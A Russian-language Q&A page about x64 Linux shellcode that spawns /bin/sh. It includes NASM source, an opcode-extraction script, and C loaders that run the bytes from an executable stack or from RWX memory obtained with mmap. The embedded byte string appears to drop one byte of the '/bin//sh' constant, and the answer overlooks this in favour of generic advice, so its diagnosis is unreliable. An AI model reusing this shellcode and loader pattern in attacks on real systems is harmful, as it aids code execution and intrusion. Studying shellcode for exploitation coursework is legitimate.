Вопрос или проблема
Я изучаю разработку шелкода на C на примере из здесь. Я могу скомпилировать ассемблерный код и получить опкоды, также я могу успешно запустить ELF, скомпилированный с NASM, но при запуске C-тестового приложения с встроенным шелкодом у меня возникает ошибка сегментации. У меня Ubuntu 20.04 64 бита.
Вот ассемблерный код, я могу запустить ./shellcode
и получить шелл без ошибок.
; https://mcsi-library.readthedocs.io/articles/2022/06/linux-exploitation-x64-shellcode/linux-exploitation-x64-shellcode.html
; shellcode.asm
; nasm -f elf64 -o shellcode.o shellcode.asm
; ld -m elf_x86_64 -s -o shellcode shellcode.o
section .text
global _start ; сообщаем системе, где начинается программа
_start:
xor rdx, rdx ; обнуляем rdx
push rdx ; помещаем его в стек
mov rax, 0x68732f2f6e69622f ; мы можем поместить 'hs//nib/' как одно значение, ведь это 64-битное значение
push rax ; помещаем его в стек, чтобы оно оказалось по какому-то адресу в стеке
mov rdi, rsp ; этот адрес содержит то, на что указывает esp, сохраняем его в rdi => указатель на '/bin/sh'
push rdx ; помещаем 0, так как это будет ноль-терминация массива
push rdi ; адрес '/bin/sh' помещаем в стек, он помещается под другим адресом в стеке
mov rsi, rsp ; сохраняем этот адрес в rsi. Таким образом, rsi содержит указатель на указатель на '/bin/sh'
xor rax, rax ; обнуляем eax, чтобы было чисто
mov al, 0x3b ; 59 DEC, помещаем его в младшую часть eax, чтобы избежать нулей.
syscall ; все аргументы подготовлены, время системного вызова
Я получаю опкоды, используя этот скрипт, и получаю такие же опкоды, как и в оригинальном посте.
#!/bin/bash
# извлечение elf опкодов
if [ -z "$1" ]
then
echo "Использование: $0 <путь к исполняемому файлу>"
exit
fi
objdump -d $1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
А вот tester.c с встроенным шелкодом, который вызывает ошибку сегментации.
// tester.c
// программа для тестирования шелкода
// gcc -m64 -z execstack -fno-stack-protector -o tester tester.c
// https://mcsi-library.readthedocs.io/articles/2022/06/linux-exploitation-x64-shellcode/linux-exploitation-x64-shellcode.html
#include <stdio.h>
#include <string.h>
unsigned char code[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05";
int main() {
printf("длина шелкода: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Я тестировал с -no-pie, -fno-pie, запуская с setarch `uname -m` -R ./tester
, чтобы отключить рандомизацию макета памяти, и ничего не помогло.
Ответ или решение
Сегментационная ошибка (segmentation fault) в вашем случае может быть вызвана несколькими причинами, связанными с реализацией вашего тестового кода и сборкой вашей шел-кодовой программы. Давайте подробно рассмотрим вашу ситуацию и возможные решения проблемы.
Анализ и возможные ошибки
-
Корректность кода:
Ваш код шелл-кода выглядит корректным, но убедитесь, что все байты корректно скомпилированы в массивunsigned char code[]
. Ваша строка вtester.c
соответствует тому, что вы получили из ассемблерного кода. -
Сборка и компиляция:
Убедитесь, что вы используете следующие команды для компиляцииtester.c
:gcc -m64 -z execstack -fno-stack-protector -o tester tester.c
Эти параметры отключают защиту стека и гарантируют, что стек исполняемых файлов является исполняемым.
-
Данный код работает только в 64-битной системе:
Убедитесь, что вы действительно используете 64-битную версию Ubuntu. Командаuname -m
должна возвращатьx86_64
. -
Randomization Address Space Layout (ASLR):
Если вы не отключили ASLR, выполнение шелл-кода может быть невозможно, потому что адреса в памяти будут случайными. Вы уже применили командуsetarch
для его отключения. Важно убедиться, что она действительно исполняется:setarch $(uname -m) -R ./tester
-
Отладка:
Чтобы более детально понять, где происходит сбой, можно использовать отладчикgdb
. Запустите программу вgdb
:gdb ./tester
Затем введите команду
run
, чтобы запустить программу. Когда произойдёт сегментационная ошибка, вы сможете использовать командуbt
, чтобы получить информацию о стеке и месте сбоя. -
Проблемы со стеком:
Убедитесь, что ваш шелл-код вunsigned char code[]
действительно корректно размещается в области памяти, и что вызываемая функция имеет доступ к этому коду, так как он должен находиться в памяти, доступной для выполнения. Если вы получаете сегментационную ошибку, это может быть связано с тем, чтоret
указывает на недоступный участок памяти.
Возможное решение
Запустите следующий код, чтобы проверить, не вызывает ли проблема неправильное позиционирование или доступ к памяти:
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
unsigned char code[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05";
int main() {
printf("Длина шелл-кода: %d\n", strlen(code));
// Занимаем память под исполняемый код
void *exec_mem = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(exec_mem, code, strlen(code));
// Приводим адрес к функции
int (*ret)() = (int(*)())exec_mem;
ret(); // Выполняем шелл-код
}
В этом коде мы выделяем исполняемую память с помощью mmap
, а затем копируем туда наш шелл-код перед его выполнением. Это должно помочь избежать проблем с доступом к памяти.
Заключение
Эта проблема может быть вызвана множеством факторов, от ошибок в коде до проблем с памятью и сборкой. Следуйте приведённым рекомендациям и убедитесь, что все шаги выполнены корректно, чтобы устранить сегментационные ошибки при выполнении вашего шелл-кода.